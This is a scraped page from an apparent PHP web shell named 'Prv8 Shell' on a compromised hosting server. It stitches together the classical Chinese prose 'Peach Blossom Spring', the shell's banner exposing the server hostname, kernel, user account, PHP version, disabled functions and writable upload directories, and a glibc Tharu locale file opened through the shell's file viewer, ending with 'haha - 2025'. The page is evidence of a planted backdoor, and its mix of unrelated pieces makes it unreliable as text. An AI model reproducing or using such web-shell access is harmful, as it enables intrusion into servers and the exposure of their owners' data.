晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/the_NP
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Tharu language locale for Nepal.
% Contributed by Arun Kumar Pyasi <arun@chitwanix.com>

LC_IDENTIFICATION
title      "Tharu language locale for Nepal"
source     "Chitwanix OS Development"
address    "Sangam Market, narayanghat, Nepal"
contact    ""
email      "info@chitwanix.com"
tel        ""
fax        ""
language   "Chitwania Tharu"
territory  "Nepal"
revision   "1.1"
date       "2013-11-15"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

LC_CTYPE
copy "ne_NP"
END LC_CTYPE

LC_COLLATE
copy "ne_NP"
END LC_COLLATE

LC_MONETARY
copy "ne_NP"
END LC_MONETARY


LC_NUMERIC
% This is the POSIX Locale definition for the LC_NUMERIC  category.
%
decimal_point          "."
thousands_sep          ","
grouping               3
%
END LC_NUMERIC


LC_TIME
% This is the POSIX Locale definition for the LC_TIME category.
% These are generated based on XML base Locale definition file
% for IBM Class for Unicode/Java
%
% Abbreviated weekday names (%a)
abday       "<U0906><U0907><U0924>";/
            "<U0938><U094B><U092E>";/
            "<U092E><U0902><U0917><U0932>";/
            "<U092C><U0941><U0927>";/
            "<U092C><U093F><U0939><U093F>";/
            "<U0936><U0941><U0915><U094D><U0930>";/
            "<U0936><U0928><U093F>"
%
% Full weekday names (%A)
day         "<U0906><U0907><U0924><U092C><U093E><U0930>";/
            "<U0938><U094B><U092E><U092C><U093E><U0930>";/
            "<U092E><U0902><U0917><U0932><U092C><U093E><U0930>";/
            "<U092C><U0941><U0927><U092C><U093E><U0930>";/
            "<U092C><U093F><U0939><U093F><U092C><U093E><U0930>";/
            "<U0936><U0941><U0915><U094D><U0930><U092C><U093E><U0930>";/
            "<U0936><U0928><U093F><U092C><U093E><U0930>"
%
% Abbreviated month names (%b)
abmon       "<U091C><U0928><U0935><U0930><U0940>";/
            "<U092B><U093C><U0930><U0935><U0930><U0940>";/
            "<U092E><U093E><U0930><U094D><U091A>";/
            "<U0905><U092A><U094D><U0930><U0947><U0932>";/
            "<U092E><U0908>";"<U091C><U0942><U0928>";/
            "<U091C><U0941><U0932><U093E><U0908>";/
            "<U0905><U0917><U0938><U094D><U0924>";/
            "<U0938><U093F><U0924><U092E><U094D><U092C><U0930>";/
            "<U0905><U0915><U094D><U091F><U0942><U092C><U0930>";/
            "<U0928><U0935><U092E><U094D><U092C><U0930>";/
            "<U0926><U093F><U0938><U092E><U094D><U092C><U0930>"
%
% Full month names (%B)
mon         "<U091C><U0928><U0935><U0930><U0940>";/
            "<U092B><U093C><U0930><U0935><U0930><U0940>";/
            "<U092E><U093E><U0930><U094D><U091A>";/
            "<U0905><U092A><U094D><U0930><U0947><U0932>";/
            "<U092E><U0908>";"<U091C><U0942><U0928>";/
            "<U091C><U0941><U0932><U093E><U0908>";/
            "<U0905><U0917><U0938><U094D><U0924>";/
            "<U0938><U093F><U0924><U092E><U094D><U092C><U0930>";/
            "<U0905><U0915><U094D><U091F><U0942><U092C><U0930>";/
            "<U0928><U0935><U092E><U094D><U092C><U0930>";/
            "<U0926><U093F><U0938><U092E><U094D><U092C><U0930>"
%
% Equivalent of AM PM
am_pm       "<U092A><U0942><U0930><U094D><U0935><U093E><U0939><U094D><U0928>";/
            "<U0905><U092A><U0930><U093E><U0939><U094D><U0928>"
%
% Appropriate date and time representation
d_t_fmt     "%A %d %b %Y %I:%M:%S %p %Z"
%
% Appropriate date representation
d_fmt       "%A %d %b %Y"
%
% Appropriate time representation
t_fmt       "%I:%M:%S  %Z"
%
% Appropriate 12 h time representation (%r)
t_fmt_ampm  "%I:%M:%S %p %Z"
%
%  FIXME: found in CLDR
week 7;19971130;1
END LC_TIME


LC_MESSAGES
yesexpr "^[+1yY]"
noexpr  "^[-0nN]"
END LC_MESSAGES


LC_PAPER
copy "ne_NP"
END LC_PAPER


LC_NAME
% This is the ISO_IEC TR14652 Locale definition for the
% LC_NAME category.
%
name_fmt    "%p%t%f%t%g"
name_gen    ""
name_mr     "Mr."
name_mrs    "Mrs."
name_miss   "Miss."
name_ms     "Ms."

END LC_NAME


LC_ADDRESS
% This is the ISO_IEC TR14652 Locale definition for the
% LC_ADDRESS
postal_fmt  "%z%c%T%s%b%e%r"
lang_term    "the"
lang_lib     "the"
% नेपाल
country_name "<U0928><U0947><U092A><U093E><U0932>"
country_ab2 "NP"
country_ab3 "NPL"
country_num 524
country_car "NEP"
% थारु
lang_name   "<U0925><U093E><U0930><U0941>"
END LC_ADDRESS


LC_TELEPHONE
copy "ne_NP"
END LC_TELEPHONE


LC_MEASUREMENT
copy "ne_NP"
END LC_MEASUREMENT

haha - 2025